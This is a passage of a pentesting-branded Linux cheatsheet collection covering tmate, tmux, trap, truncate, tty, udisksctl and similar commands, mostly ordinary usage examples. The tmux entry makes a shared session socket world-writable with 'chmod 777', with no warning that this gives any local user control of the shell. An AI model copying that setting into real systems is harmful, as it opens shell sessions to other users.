▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗███╗ ███╗ █████╗ ████████╗███████╗
# ╚══██╔══╝████╗ ████║██╔══██╗╚══██╔══╝██╔════╝
# ██║ ██╔████╔██║███████║ ██║ █████╗
# ██║ ██║╚██╔╝██║██╔══██║ ██║ ██╔══╝
# ██║ ██║ ╚═╝ ██║██║ ██║ ██║ ███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
# tmate - Instant terminal sharing
# tmux fork for screen sharing - https://tmate.io/
tmate
# see tmate's log messages, including the ssh connection string.
tmate show-messages
# Launch tmate in a detached state
tmate -S /tmp/tmate.sock new-session -d
# Blocks until the SSH connection is established
tmate -S /tmp/tmate.sock wait tmate-ready
# Prints the SSH connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_ssh}'
# Prints the read-only SSH connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_ssh_ro}'
# Prints the web connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_web}'
# Prints the read-only web connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_web_ro}'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tmate in a clear format. This allows users to quickly access the needed information for tmate without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tmate are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
211 - 🖥️tmux
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tmux command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗███╗ ███╗██╗ ██╗██╗ ██╗
# ╚══██╔══╝████╗ ████║██║ ██║╚██╗██╔╝
# ██║ ██╔████╔██║██║ ██║ ╚███╔╝
# ██║ ██║╚██╔╝██║██║ ██║ ██╔██╗
# ██║ ██║ ╚═╝ ██║╚██████╔╝██╔╝ ██╗
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
# Start tmux:
tmux
# Detach from tmux:
Ctrl-b d
# Restore tmux session:
tmux attach
# Detach an already attached session (great if you are moving devices with different screen resolutions)
tmux attach -d
# Display session:
tmux ls
# Rename session:
Ctrl-b $
# Switch session:
Ctrl-b s
# Start a shared session:
tmux -S /tmp/your_shared_session
chmod 777 /tmp/your_shared_session
# Help screen (Q to quit):
Ctrl-b ?
# Scroll in window:
Ctrl-b PageUp/PageDown
# Reload configuation file
Ctrl-b : source-file /path/to/file
# Window management
# =================
# Create window:
Ctrl-b c
# Destroy window:
Ctrl-b x
# Switch between windows:
Ctrl-b [0-9]
or
Ctrl-b Arrows
# Split windows horizontally:
Ctrl-b %
# Split windows vertically:
Ctrl-b "
"
# In tmux, this keystroke will split your current window vertically into two parts called panes. You can also split horizontally with Ctrl-B " (double quote). Have fun.
Ctrl-B %
#==============================##==============================#
# CMD TMUX #
#==============================##==============================#
tmux attach -t 2
# Pick up where you left off on tmux session 2. tmux list-sessions to see what is available.
tmux
# tmux is a great program that manages multiple terminal sessions and allows you to detach/reattach to the session. Also screen, dvtm.
tmux break-pane or <Ctrl-b>:break-pane
# Take the current tmux pane from split window and break it out into a full sized window.
tmux list-clients ; tmux detach-client -t pts/22
# When you have 2+ tmux clients on the same session and another one is on a smaller window.
[Ctrl-b] + D
# A keystroke for tmux to show a list of clients you can detach. Great for when one of the clients is slightly "undersized".
#==============================##==============================#
# CMD TMUX #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tmux in a clear format. This allows users to quickly access the needed information for tmux without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tmux are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
212 - 🖥️todo
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the todo command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗ ██████╗ ██████╗ ██████╗
# ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗
# ██║ ██║ ██║██║ ██║██║ ██║
# ██║ ██║ ██║██║ ██║██║ ██║
# ██║ ╚██████╔╝██████╔╝╚██████╔╝
# ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝
# Todo (Bash-Snippets)
# A simplistic commandline todo list
# Add a task to your todo list
todo -a This is an example task
# Print the current task list
todo -g
# Remove a single task from the list
todo -r [taskNumber]
# To clear all tasks
todo -c or todo clear
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command todo in a clear format. This allows users to quickly access the needed information for todo without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for todo are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
213 - 🖥️trap
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trap command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗██████╗ █████╗ ██████╗
# ╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗
# ██║ ██████╔╝███████║██████╔╝
# ██║ ██╔══██╗██╔══██║██╔═══╝
# ██║ ██║ ██║██║ ██║██║
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝
trap "echo;ack-grep --bar | sed 'y/ge/ta/'" SIGINT
# Spice up your excessive usage of [Ctrl-C]. Needs ack or ack-grep.
trap 'v=$((! v));' SIGUSR1
# Then do kill -USR1 PIDOFBASH to flip the state of the variable v. Could be useful in loops, turn on/off a print
#==============================##==============================#
# CMD TRAP #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command trap in a clear format. This allows users to quickly access the needed information for trap without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for trap are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
214 - 🖥️trashy
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trashy command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗██████╗ █████╗ ███████╗██╗ ██╗██╗ ██╗
# ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║╚██╗ ██╔╝
# ██║ ██████╔╝███████║███████╗███████║ ╚████╔╝
# ██║ ██╔══██╗██╔══██║╚════██║██╔══██║ ╚██╔╝
# ██║ ██║ ██║██║ ██║███████║██║ ██║ ██║
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝
# Trash foo and bar
trash foo bar
# Trash "foo bar"
trash foo\ bar
# List files in trash
trash -v --list
# Restore foo from trash
trash --restore foo
# Empty trash
trash --empty
#==============================##==============================#
# CMD TRASHY #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command trashy in a clear format. This allows users to quickly access the needed information for trashy without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for trashy are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
215 - 🖥️trickle
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trickle command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗██████╗ ██╗ ██████╗██╗ ██╗██╗ ███████╗
# ╚══██╔══╝██╔══██╗██║██╔════╝██║ ██╔╝██║ ██╔════╝
# ██║ ██████╔╝██║██║ █████╔╝ ██║ █████╗
# ██║ ██╔══██╗██║██║ ██╔═██╗ ██║ ██╔══╝
# ██║ ██║ ██║██║╚██████╗██║ ██╗███████╗███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚══════╝
trickle -d 50 wget http://www.newdistro.com/download/newux-1.0-bluray.iso …
# Use trickle to limit bandwidth of network commands.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command trickle in a clear format. This allows users to quickly access the needed information for trickle without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for trickle are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
216 - 🖥️truncate
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the truncate command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗██████╗ ██╗ ██╗███╗ ██╗ ██████╗ █████╗ ████████╗███████╗
# ╚══██╔══╝██╔══██╗██║ ██║████╗ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝
# ██║ ██████╔╝██║ ██║██╔██╗ ██║██║ ███████║ ██║ █████╗
# ██║ ██╔══██╗██║ ██║██║╚██╗██║██║ ██╔══██║ ██║ ██╔══╝
# ██║ ██║ ██║╚██████╔╝██║ ╚████║╚██████╗██║ ██║ ██║ ███████╗
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
# To clear the contents from a file:
truncate -s 0 file.txt
# To truncate a file to 100 bytes:
truncate -s 100 file.txt
# To truncate a file to 100 KB:
truncate -s 100K file.txt
# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.)
#==============================##==============================#
# CMD TRUNCATE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command truncate in a clear format. This allows users to quickly access the needed information for truncate without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for truncate are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
217 - 🖥️tsort
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tsort command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗███████╗ ██████╗ ██████╗ ████████╗
# ╚══██╔══╝██╔════╝██╔═══██╗██╔══██╗╚══██╔══╝
# ██║ ███████╗██║ ██║██████╔╝ ██║
# ██║ ╚════██║██║ ██║██╔══██╗ ██║
# ██║ ███████║╚██████╔╝██║ ██║ ██║
# ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
tsort
# The Unix command line utility tsort performs a topological sort.
#==============================##==============================#
# CMD TSORT
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tsort in a clear format. This allows users to quickly access the needed information for tsort without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tsort are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
218 - 🖥️tty
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tty command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗████████╗██╗ ██╗
# ╚══██╔══╝╚══██╔══╝╚██╗ ██╔╝
# ██║ ██║ ╚████╔╝
# ██║ ██║ ╚██╔╝
# ██║ ██║ ██║
# ╚═╝ ╚═╝ ╚═╝
# The tty command prints the filename of the terminal connected to standard input.
tty
/dev/pts/10
# Have script run itself in a virtual terminal
tty >/dev/null || { urxvt -hold -e "$0" "$@" & exit; }
# Explanation: This can be the first line of a script that will be clicked from a graphical user interface in X to make it open up a virtual terminal to display output. If a terminal is already open it will run in the current terminal. It assumes urxvt and uses the hold option to keep from closing, both of which could be substituted for such as rxvt or add read at the end of the script.
# It's a single line if statement that checks the exit code of tty which prints the current terminal name usually nothing under X.
# The curly braces are needed for grouping.
# A space is required after the opening brace { and a semicolon is required before the closing brace }.
# Replacing what would be a semicolon, the ampersand & forks the terminal command to a second process and the launching script exits right away.
# -e feeds to the terminal application the expression of $0which holds the path of the script itself and $@, the entire set of quoted arguments.
# Limitations: If the script is large, say several gigabytes and the system tries to make two copies of the script, twice the size of RAM or memory will be needed for loading it.
# rxvt -e will kill any subprocesses at the end
## Alternative one-liners:
# Have script run itself in a virtual terminal
tty >/dev/null || { urxvt -e /bin/sh -c "tty >/tmp/proc$$; while test x; do sleep 1; done" & while test ! -f /tmp/proc$$; do sleep .1; done; FN=$(cat /tmp/proc$$); rm /tmp/proc$$; exec >$FN 2>$FN <$FN; }
# Explanation:
# We begin by testing if the script is not in a terminal with tty.
# If it is not we start a terminal that runs tty and saves it to a filename. $$ was set by the original script and is its PID. That is opened in the background using & and then the original script waits for the filename to appear, then reads and removes it.
# Finally, the main command is a special syntax of the bash builtin command exec that contains nothing but redirections (of stdout, stderr, and stdin) so they will apply to every command in the rest of the script file.
#==============================##==============================#
# CMD TTY #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tty in a clear format. This allows users to quickly access the needed information for tty without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tty are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
219 - 🖥️udevadm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the udevadm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ ███████╗██╗ ██╗ █████╗ ██████╗ ███╗ ███╗
# ██║ ██║██╔══██╗██╔════╝██║ ██║██╔══██╗██╔══██╗████╗ ████║
# ██║ ██║██║ ██║█████╗ ██║ ██║███████║██║ ██║██╔████╔██║
# ██║ ██║██║ ██║██╔══╝ ╚██╗ ██╔╝██╔══██║██║ ██║██║╚██╔╝██║
# ╚██████╔╝██████╔╝███████╗ ╚████╔╝ ██║ ██║██████╔╝██║ ╚═╝ ██║
# ╚═════╝ ╚═════╝ ╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
# udevadm - udev management tool
# Reload udev rules without reboot
udevadm control --reload-rules && udevadm trigger
# Get sysfs path of a device
udevadm info -q path -n /dev/sda
# Get a list of attributes for a specific device
udevadm info -a -p $(udevadm info -q path -n /dev/sdb)
# Get an entry for each action taken by KERNEL and UDEV
udevadm monitor --property
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command udevadm in a clear format. This allows users to quickly access the needed information for udevadm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for udevadm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
220 - 🖥️udisksctl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the udisksctl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ ██╗███████╗██╗ ██╗███████╗ ██████╗████████╗██╗
# ██║ ██║██╔══██╗██║██╔════╝██║ ██╔╝██╔════╝██╔════╝╚══██╔══╝██║
# ██║ ██║██║ ██║██║███████╗█████╔╝ ███████╗██║ ██║ ██║
# ██║ ██║██║ ██║██║╚════██║██╔═██╗ ╚════██║██║ ██║ ██║
# ╚██████╔╝██████╔╝██║███████║██║ ██╗███████║╚██████╗ ██║ ███████╗
# ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚══════╝
# Get info about block device
udisksctl info -b <block_device>
# Mounting device
udisksctl mount --block-device <block_device>
# Unmounting device
udisksctl unmount --block-device <block_device>
# Get help
udisksctl help
# Using your group privilege, mount (removable drive) /dev/sdc1 as if it automounted with its name.
udisksctl mount -b /dev/sdc1
#==============================##==============================#
# CMD UDISKSCTL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command udisksctl in a clear format. This allows users to quickly access the needed information for udisksctl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for udisksctl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
221 - 🖥️unexpand
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the unexpand command with important options and switches using examples.
